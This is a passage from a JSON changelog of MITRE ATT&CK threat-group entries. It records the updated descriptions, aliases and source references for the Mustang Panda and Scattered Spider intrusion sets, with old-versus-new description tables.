Myanmar Based Victims. Retrieved October 14, 2025.", + "url": "https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims" + }, + { + "source_name": "Unit42 Chinese VSCode 06 September 2024", + "description": "Tom Fakterman. (2024, September 6). Chinese APT Abuses VSCode to Target Government in Asia. Retrieved March 24, 2025.", + "url": "https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Kyaw Pyiyt Htet, @KyawPyiytHtet", + "Jiraput Thamsongkrah", + "YH Chang, ZScaler ThreatLabz" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "3.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-23 18:52:40.872000+00:00\", \"old_value\": \"2025-04-16 20:37:34.723000+00:00\"}, \"root['description']\": {\"new_value\": \"[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that has been conducting operations since at least 2012. [Mustang Panda](https://attack.mitre.org/groups/G0129) has been known to use tailored phishing lures and decoy documents to deliver malicious payloads. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government, diplomatic, and non-governmental organizations, including think tanks, religious institutions, and research entities, across the United States, Europe, and Asia, with notable activity in Russia, Mongolia, Myanmar, Pakistan, and Vietnam. (Citation: BlackBerry MUSTANG PANDA October 2022)(Citation: Eset PlugX Korplug Mustang Panda March 2022)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: DOJ Affidavit Search and Seizure PlugX December 2024)(Citation: EclecticIQ Mustang Panda PlugX)(Citation: ATTACKIQ MUSTANG PANDA TONESHELL March 2023)(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Palo Alto Networks, Unit 42)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX)(Citation: Zscaler)\", \"old_value\": \"[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) \"}, \"root['external_references'][4]['description']\": {\"new_value\": \"(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Sophos PlugX September 2022)(Citation: Sophos Mustang Panda PLUGX)\", \"old_value\": \"(Citation: Secureworks BRONZE PRESIDENT December 2019)\", \"new_path\": \"root['external_references'][15]['description']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.1\"}}, \"iterable_item_added\": {\"root['aliases'][4]\": \"STATELY TAURUS\", \"root['aliases'][5]\": \"FIREANT\", \"root['aliases'][6]\": \"CAMARO DRAGON\", \"root['aliases'][7]\": \"EARTH PRETA\", \"root['aliases'][8]\": \"HIVE0154\", \"root['aliases'][9]\": \"TWILL TYPHOON\", \"root['aliases'][10]\": \"TANTALUM\", \"root['aliases'][11]\": \"LUMINOUS MOTH\", \"root['aliases'][12]\": \"UNC6384\", \"root['aliases'][13]\": \"TEMP.Hex\", \"root['aliases'][14]\": \"Red Lich\", \"root['external_references'][1]\": {\"source_name\": \"EARTH PRETA\", \"description\": \"(Citation: 2022 November_TrendMicro_Earth Preta_Toneshell_Pubload)(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)(Citation: Trend Micro Mustang Panda Earth Preta Toneshell February 2025)(Citation: Trend Micro Mustang Panda Earth Preta TONESHELL June 2023)\"}, \"root['external_references'][2]\": {\"source_name\": \"FIREANT\", \"description\": \"(Citation: Broadcom)\"}, \"root['external_references'][4]\": {\"source_name\": \"UNC6384\", \"description\": \"(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)\"}, \"root['external_references'][5]\": {\"source_name\": \"TEMP.Hex\", \"description\": \"(Citation: Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025)\"}, \"root['external_references'][6]\": {\"source_name\": \"CAMARO DRAGON\", \"description\": \"(Citation: HorseShell)\"}, \"root['external_references'][7]\": {\"source_name\": \"HIVE0154\", \"description\": \"(Citation: IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025)(Citation: 2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA)\"}, \"root['external_references'][8]\": {\"source_name\": \"TWILL TYPHOON\", \"description\": \"(Citation: Microsoft Naming Conventions Frequently Updated)\"}, \"root['external_references'][9]\": {\"source_name\": \"TANTALUM\", \"description\": \"(Citation: Microsoft Naming Conventions Frequently Updated)\"}, \"root['external_references'][10]\": {\"source_name\": \"LUMINOUS MOTH\", \"description\": \"(Citation: Microsoft Naming Conventions Frequently Updated)\"}, \"root['external_references'][11]\": {\"source_name\": \"STATELY TAURUS\", \"description\": \"(Citation: Palo Alto Networks, Unit 42)(Citation: Unit42 Bookworm Nov2015)(Citation: Unit42 Chinese VSCode 06 September 2024)(Citation: Broadcom)(Citation: Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023)(Citation: CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024)\"}, \"root['external_references'][13]\": {\"source_name\": \"Red Lich\", \"description\": \"(Citation: PWC UK MUSTANG PANDA RED LICH February 2021)\"}, \"root['external_references'][16]\": {\"source_name\": \"Eset PlugX Korplug Mustang Panda March 2022\", \"description\": \"Alexandre Cote Cyr. (2022, March 23). Mustang Panda\\u2019s Hodur: Old tricks, new Korplug variant. Retrieved September 9, 2025.\", \"url\": \"https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/\"}, \"root['external_references'][18]\": {\"source_name\": \"Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022\", \"description\": \"Asheer Malhotra, Jungsoo An, Kendall Mc. (2022, May 5). Mustang Panda deploys a new wave of malware targeting Europe. Retrieved August 4, 2025.\", \"url\": \"https://blog.talosintelligence.com/mustang-panda-targets-europe/\"}, \"root['external_references'][19]\": {\"source_name\": \"Broadcom\", \"description\": \"Broadcom Protection Bulletins. (2025, February 20). Bookworm malware linked to Fireant (aka Stately Tarurus) activity observed in Southeast Asia. Retrieved July 21, 2025.\", \"url\": \"https://www.broadcom.com/support/security-center/protection-bulletin/bookworm-malware-linked-to-fireant-aka-stately-tarurus-activity-observed-in-southeast-asia\"}, \"root['external_references'][20]\": {\"source_name\": \"HorseShell\", \"description\": \"Cohen, Itay. Madej, Radoslaw. Threat Intelligence Team. (2023, May 16). THE DRAGON WHO SOLD HIS CAMARO: ANALYZING CUSTOM ROUTER IMPLANT. Retrieved December 26, 2023.\", \"url\": \"https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/\"}, \"root['external_references'][22]\": {\"source_name\": \"CSIRT CTI MUSTANG PANDA PUBLOAD TONESHELL JAN 2024\", \"description\": \"CSIRT CTI. (2024, January 23). Stately Taurus Targets Myanmar Amidst Concerns over Military Junta\\u2019s Handling of Rebel Attacks. Retrieved August 4, 2025.\", \"url\": \"https://csirt-cti.net/2024/01/23/stately-taurus-targets-myanmar/\"}, \"root['external_references'][23]\": {\"source_name\": \"DOJ Affidavit Search and Seizure PlugX December 2024\", \"description\": \"DOJ. (2024, December 20). Mag. No. 24-mj-1387 AFFIDAVIT IN SUPPORT OF AN APPLICATION FOR A NINTH SEARCH AND SEIZURE WARRANT- IN THE MATTER OF THE SEARCH AND SEIZURE OF COMPUTERS IN THE UNITED STATES INFECTED WITH PLUGX MALWARE . Retrieved September 9, 2025.\", \"url\": \"https://www.justice.gov/archives/opa/media/1384136/dl\"}, \"root['external_references'][24]\": {\"source_name\": \"EclecticIQ Mustang Panda PlugX\", \"description\": \"EclecticIQ Threat Research Team. (2023, February 2). Mustang Panda APT Group Uses European Commission-Themed Lure to Deliver PlugX Malware. Retrieved September 9, 2025.\", \"url\": \"https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware\"}, \"root['external_references'][25]\": {\"source_name\": \"IBM MUSTANG PANDA PUBLOAD CLAIMLOADER JUNE 2025\", \"description\": \"Golo Muhr, Joshua Chung. (2025, June 23). Hive0154 aka Mustang Panda shifts focus on Tibetan community to deploy Pubload backdoor. Retrieved August 4, 2025.\", \"url\": \"https://www.ibm.com/think/x-force/hive0154-mustang-panda-shifts-focus-tibetan-community-deploy-pubload-backdoor\"}, \"root['external_references'][26]\": {\"source_name\": \"2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA\", \"description\": \"Golo Muhr, Joshua Chung. (2025, May 15). Hive0154 targeting US, Philippines, Pakistan and Taiwan in suspected espionage campaign. Retrieved August 4, 2025.\", \"url\": \"https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan\"}, \"root['external_references'][28]\": {\"source_name\": \"ATTACKIQ MUSTANG PANDA TONESHELL March 2023\", \"description\": \"Ken Towne, Francis Guibernau. (2023, March 23). Emulating the Politically Motivated Chinese APT Mustang Panda. Retrieved September 10, 2025.\", \"url\": \"https://www.attackiq.com/2023/03/23/emulating-the-politically-motivated-chinese-apt-mustang-panda/\"}, \"root['external_references'][29]\": {\"source_name\": \"Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024\", \"description\": \"Lenart Bermejo, Sunny Lu, Ted Lee. (2024, September 9). Earth Preta Evolves its Attacks with New Malware and Strategies. Retrieved August 4, 2025.\", \"url\": \"https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html\"}, \"root['external_references'][30]\": {\"source_name\": \"Palo Alto Unit42 STATELY TAURUS TONESHELL September 2023\", \"description\": \"Lior Rochberger, Tom Fakterman, Robert Falcone. (2023, September 22). Cyberespionage Attacks Against Southeast Asian Government Linked to Stately Taurus, Aka Mustang Panda. Retrieved September 9, 2025.\", \"url\": \"https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/\"}, \"root['external_references'][32]\": {\"source_name\": \"Microsoft Naming Conventions Frequently Updated\", \"description\": \"Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.\", \"url\": \"https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming\"}, \"root['external_references'][33]\": {\"source_name\": \"Trend Micro Mustang Panda Earth Preta Toneshell February 2025\", \"description\": \"Nathaniel Morales, Nick Dai. (2025, February 18). Earth Preta Mixes Legitimate and Malicious Components to Sidestep Detection. Retrieved September 10, 2025.\", \"url\": \"https://www.trendmicro.com/en_us/research/25/b/earth-preta-mixes-legitimate-and-malicious-components-to-sidestep-detection.html\"}, \"root['external_references'][34]\": {\"source_name\": \"2022 November_TrendMicro_Earth Preta_Toneshell_Pubload\", \"description\": \"Nick Dai, Vickie Su, Sunny Lu. (2022, November 18). Earth Preta Spear-Phishing Governments Worldwide. Retrieved August 4, 2025.\", \"url\": \"https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html\"}, \"root['external_references'][35]\": {\"source_name\": \"Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025\", \"description\": \"Patrick Whitsell. (2025, August 25). Deception in Depth: PRC-Nexus Espionage Campaign Hijacks Web Traffic to Target Diplomats. Retrieved September 9, 2025.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats\"}, \"root['external_references'][37]\": {\"source_name\": \"PWC UK MUSTANG PANDA RED LICH February 2021\", \"description\": \"PWC UK. (2021, February 28). Cyber Threats 2020: A Year in Retrospect. Retrieved October 15, 2025.\", \"url\": \"https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf\"}, \"root['external_references'][39]\": {\"source_name\": \"Unit42 Bookworm Nov2015\", \"description\": \"Robert Falcone, Mike Scott, Juan Cortes. (2015, November 10). Bookworm Trojan: A Model of Modular Architecture. Retrieved July 21, 2025.\", \"url\": \"https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/\"}, \"root['external_references'][40]\": {\"source_name\": \"Palo Alto Networks, Unit 42\", \"description\": \"Robert Falcone. (2025, February 20). Stately Taurus Activity in Southeast Asia Links to Bookworm Malware. Retrieved July 21, 2025.\", \"url\": \"https://unit42.paloaltonetworks.com/stately-taurus-uses-bookworm-malware/\"}, \"root['external_references'][41]\": {\"source_name\": \"Sophos PlugX September 2022\", \"description\": \"Secureworks Counter Threat Unit Research Team. (2022, April 27). BRONZE PRESIDENT Targets Russian Speakers with Updated PlugX. Retrieved September 9, 2025.\", \"url\": \"https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx\"}, \"root['external_references'][42]\": {\"source_name\": \"Sophos Mustang Panda PLUGX\", \"description\": \"Secureworks Counter Threat Unit Research Team. (2022, September 8). BRONZE PRESIDENT Targets Government Officials. Retrieved September 9, 2025.\", \"url\": \"https://www.secureworks.com/blog/bronze-president-targets-government-officials\"}, \"root['external_references'][43]\": {\"source_name\": \"Zscaler\", \"description\": \"Sudeep Singh. (2025, April 16). Latest Mustang Panda Arsenal: ToneShell and StarProxy | P1. Retrieved July 21, 2025.\", \"url\": \"https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1\"}, \"root['external_references'][44]\": {\"source_name\": \"Trend Micro Mustang Panda Earth Preta TONESHELL June 2023\", \"description\": \"Sunny Lu, Vickie Su, Nick Dai. (2023, June 14). Behind the Scenes: Unveiling the Hidden Workings of Earth Preta. Retrieved September 10, 2025.\", \"url\": \"https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html\"}, \"root['external_references'][45]\": {\"source_name\": \"BlackBerry MUSTANG PANDA October 2022\", \"description\": \"The BlackBerry Research and Intelligence Team. (2022, October 6). Mustang Panda Abuses Legitimate Apps to Target Myanmar Based Victims. Retrieved October 14, 2025.\", \"url\": \"https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims\"}, \"root['external_references'][46]\": {\"source_name\": \"Unit42 Chinese VSCode 06 September 2024\", \"description\": \"Tom Fakterman. (2024, September 6). Chinese APT Abuses VSCode to Target Government in Asia. Retrieved March 24, 2025.\", \"url\": \"https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/\"}, \"root['x_mitre_contributors'][1]\": \"Jiraput Thamsongkrah\", \"root['x_mitre_contributors'][2]\": \"YH Chang, ZScaler ThreatLabz\"}}", + "previous_version": "2.1", + "version_change": "2.1 \u2192 3.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Mustang Panda](https://attack.mitre.org/groups/G0129) is a t1[Mustang Panda](https://attack.mitre.org/groups/G0129) is a 
>China-based cyber espionage threat actor that was first obse>China-based cyber espionage threat actor that has been condu
>rved in 2017 but may have been conducting operations since a>cting operations since at least 2012. [Mustang Panda](https:
>t least 2014. [Mustang Panda](https://attack.mitre.org/group>//attack.mitre.org/groups/G0129) has been known to use tailo
>s/G0129) has targeted government entities, nonprofits, relig>red phishing lures and decoy documents to deliver malicious 
>ious, and other non-governmental organizations in the U.S., >payloads.  [Mustang Panda](https://attack.mitre.org/groups/G
>Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among othe>0129) has targeted government, diplomatic, and non-governmen
>rs.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation:>tal organizations, including think tanks, religious institut
> Anomali MUSTANG PANDA October 2019)(Citation: Secureworks B>ions, and research entities, across the United States, Europ
>RONZE PRESIDENT December 2019) >e, and Asia, with notable activity in Russia, Mongolia, Myan
 >mar, Pakistan, and Vietnam. (Citation: BlackBerry MUSTANG PA
 >NDA October 2022)(Citation: Eset PlugX Korplug Mustang Panda
 > March 2022)(Citation: Anomali MUSTANG PANDA October 2019)(C
 >itation: Cisco Talos MUSTANG PANDA PLUGX PUBLOAD MAY 2022)(C
 >itation: Secureworks BRONZE PRESIDENT December 2019)(Citatio
 >n: DOJ Affidavit Search and Seizure PlugX December 2024)(Cit
 >ation: EclecticIQ Mustang Panda PlugX)(Citation: ATTACKIQ MU
 >STANG PANDA TONESHELL March 2023)(Citation: Crowdstrike MUST
 >ANG PANDA June 2018)(Citation: Palo Alto Networks, Unit 42)(
 >Citation: Sophos PlugX September 2022)(Citation: Sophos Must
 >ang Panda PLUGX)(Citation: Zscaler)
" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-07-05 17:54:54.789000+00:00", + "modified": "2025-10-24 02:30:51.936000+00:00", + "name": "Scattered Spider", + "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023)\n[Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022)\n[Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025)", + "aliases": [ + "Scattered Spider", + "Roasted 0ktapus", + "Octo Tempest", + "Storm-0875", + "UNC3944" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1015", + "external_id": "G1015" + }, + { + "source_name": "Roasted 0ktapus", + "description": "(Citation: CrowdStrike Scattered Spider BYOVD January 2023)" + }, + { + "source_name": "UNC3944", + "description": "(Citation: Mandiant UNC3944 May 2025)(Citation: Mandiant VMware vSphere JUL 2025)" + }, + { + "source_name": "Octo Tempest", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Storm-0875", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "CISA Scattered Spider Advisory November 2023", + "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a" + }, + { + "source_name": "CrowdStrike Scattered Spider BYOVD January 2023", + "description": "CrowdStrike. (2023, January 10). SCATTERED SPIDER Exploits Windows Security Deficiencies with Bring-Your-Own-Vulnerable-Driver Tactic in Attempt to Bypass Endpoint Security. Retrieved July 5, 2023.", + "url": "https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/" + }, + { + "source_name": "CrowdStrike Scattered Spider Profile", + "description": "CrowdStrike. (n.d.). Scattered Spider. Retrieved July 5, 2023.", + "url": "https://www.crowdstrike.com/adversaries/scattered-spider/" + }, + { + "source_name": "Mandiant VMware vSphere JUL 2025", + "description": "Mandiant Incident Response. (2025, July 23). From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944. Retrieved October 13, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944" + }, + { + "source_name": "Mandiant UNC3944 May 2025", + "description": "Mandiant Incident Response. (2025, May 6). Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines. Retrieved October 13, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "MSTIC Octo Tempest Operations October 2023", + "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/" + }, + { + "source_name": "Crowdstrike TELCO BPO Campaign December 2022", + "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.", + "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "3.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 02:30:51.936000+00:00\", \"old_value\": \"2024-04-04 21:24:48.602000+00:00\"}, \"root['description']\": {\"new_value\": \"[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023)\\n[Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022)\\n[Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025)\", \"old_value\": \"[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group that has been active since at least 2022.(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://attack.mitre.org/groups/G1015) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.(Citation: MSTIC Octo Tempest Operations October 2023) During campaigns, [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022)\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n-[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group that has been active since at least 2022.(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://attack.mitre.org/groups/G1015) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.(Citation: MSTIC Octo Tempest Operations October 2023) During campaigns, [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022)\\n+[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023)\\n+[Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022)\\n+[Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['aliases'][4]\": \"UNC3944\", \"root['external_references'][2]\": {\"source_name\": \"UNC3944\", \"description\": \"(Citation: Mandiant UNC3944 May 2025)(Citation: Mandiant VMware vSphere JUL 2025)\"}, \"root['external_references'][8]\": {\"source_name\": \"Mandiant VMware vSphere JUL 2025\", \"description\": \"Mandiant Incident Response. (2025, July 23). From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944. Retrieved October 13, 2025.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\"}, \"root['external_references'][9]\": {\"source_name\": \"Mandiant UNC3944 May 2025\", \"description\": \"Mandiant Incident Response. (2025, May 6). Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines. Retrieved October 13, 2025.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 3.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Scattered Spider](https://attack.mitre.org/groups/G1015) ist1[Scattered Spider](https://attack.mitre.org/groups/G1015) is
> a native English-speaking cybercriminal group that has been> a native English-speaking cybercriminal group active since 
> active since at least 2022.(Citation: CrowdStrike Scattered>at least 2022. (Citation: CrowdStrike Scattered Spider Profi
> Spider Profile)(Citation: MSTIC Octo Tempest Operations Oct>le) (Citation: MSTIC Octo Tempest Operations October 2023) T
>ober 2023) The group initially targeted customer relationshi>he group initially targeted customer relationship management
>p management and business-process outsourcing (BPO) firms as> (CRM) providers, business process outsourcing (BPO) firms, 
> well as telecommunications and technology companies. Beginn>and telecommunications and technology companies before expan
>ing in 2023, [Scattered Spider](https://attack.mitre.org/gro>ding in 2023 to gaming, hospitality, retail, managed service
>ups/G1015) expanded its operations to compromise victims in > provider (MSP), manufacturing, and financial sectors. (Cita
>the gaming, hospitality, retail, MSP, manufacturing, and fin>tion: MSTIC Octo Tempest Operations October 2023) [Scattered
>ancial sectors.(Citation: MSTIC Octo Tempest Operations Octo> Spider](https://attack.mitre.org/groups/G1015) relies heavi
>ber 2023) During campaigns, [Scattered Spider](https://attac>ly on social engineering, including impersonating IT and hel
>k.mitre.org/groups/G1015) has leveraged targeted social-engi>p-desk staff, to gain initial access, bypass multi-factor au
>neering techniques, attempted to bypass popular endpoint sec>thentication (MFA), and compromise enterprise networks. The 
>urity tools, and more recently, deployed ransomware for fina>group has adapted its tooling to evade endpoint detection an
>ncial gain.(Citation: CISA Scattered Spider Advisory Novembe>d response (EDR) defenses and used ransomware for financial 
>r 2023)(Citation: CrowdStrike Scattered Spider BYOVD January>gain. (Citation: CISA Scattered Spider Advisory November 202
> 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citat>3) (Citation: CrowdStrike Scattered Spider BYOVD January 202
>ion: MSTIC Octo Tempest Operations October 2023)(Citation: C>3) (Citation: Crowdstrike TELCO BPO Campaign December 2022) 
